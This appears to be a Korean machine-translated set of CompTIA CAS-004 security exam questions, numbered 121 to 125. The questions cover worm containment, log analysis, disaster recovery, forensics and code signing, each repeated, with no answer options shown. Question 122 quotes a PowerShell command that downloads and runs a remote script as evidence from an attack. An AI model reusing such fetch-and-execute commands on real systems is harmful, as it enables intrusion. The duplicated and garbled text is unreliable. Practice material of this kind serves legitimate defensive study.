CAS-004 문제 121
회사 네트워크의 호스트가 SMB를 통해 확산되는 것으로 보이는 웜에 감염되었습니다. 보안 분석가는 사고를 억제하는 동시에 후속 조사 및 맬웨어 분석을 위한 증거를 유지하는 임무를 맡았습니다.
다음 중 FIRST를 수행하는 데 가장 적합한 단계는 무엇입니까?
다음 중 FIRST를 수행하는 데 가장 적합한 단계는 무엇입니까?
CAS-004 문제 122
보안 분석가는 외부 메일 서버에 대한 로그인 시도 실패 횟수가 꾸준히 증가하고 있음을 확인했습니다. 점프 박스 중 하나를 조사하는 동안 분석가는 로그 파일에서 다음을 식별했습니다. powershell EX(New-Object Net.WebClient).DownloadString ('https://content.comptia.org/casp/whois.psl' );후이즈
다음 보안 제어 중 공격의 다음 단계를 경고하고 방지할 수 있었던 것은 무엇입니까?
다음 보안 제어 중 공격의 다음 단계를 경고하고 방지할 수 있었던 것은 무엇입니까?
CAS-004 문제 123
조직에서 재해 복구 및 운영 연속성을 계획하고 있습니다.
지침
다음 시나리오 및 지침을 검토하십시오. 각 관련 결과를 영향을 받는 호스트와 일치시킵니다.
시나리오 3을 적절한 호스트와 연결한 후 호스트를 클릭하여 해당 결과에 대한 적절한 수정 작업을 선택합니다.
각 결과는 두 번 이상 사용될 수 있습니다.
언제든지 시뮬레이션의 초기 상태를 되돌리려면 모두 재설정 버튼을 클릭하십시오.
지침
다음 시나리오 및 지침을 검토하십시오. 각 관련 결과를 영향을 받는 호스트와 일치시킵니다.
시나리오 3을 적절한 호스트와 연결한 후 호스트를 클릭하여 해당 결과에 대한 적절한 수정 작업을 선택합니다.
각 결과는 두 번 이상 사용될 수 있습니다.
언제든지 시뮬레이션의 초기 상태를 되돌리려면 모두 재설정 버튼을 클릭하십시오.
CAS-004 문제 124
조직의 재무 시스템이 최근에 공격을 받았습니다. 포렌식 분석가가 신용 카드 데이터 a에 대해 손상된 파일의 내용을 검토하고 있습니다.
재무 데이터가 손실되었는지 여부를 확인하기 위해 분석가가 BEST로 실행해야 하는 명령은 다음 중 무엇입니까?
재무 데이터가 손실되었는지 여부를 확인하기 위해 분석가가 BEST로 실행해야 하는 명령은 다음 중 무엇입니까?
CAS-004 문제 125
소프트웨어 개발 회사의 관리자는 디지털 서명을 사용하여 회사 응용 프로그램의 무결성을 보호하려고 합니다. 개발자들은 모든 애플리케이션에서 서명 프로세스가 계속 실패한다고 보고합니다. 그러나 서명에 사용된 동일한 키 쌍은
웹 사이트에서 제대로 작동하고 유효하며 신뢰할 수 있는 CA에서 발급합니다. 다음 중 서명 실패의 원인일 가능성이 가장 높은 것은 무엇입니까?
웹 사이트에서 제대로 작동하고 유효하며 신뢰할 수 있는 CA에서 발급합니다. 다음 중 서명 실패의 원인일 가능성이 가장 높은 것은 무엇입니까?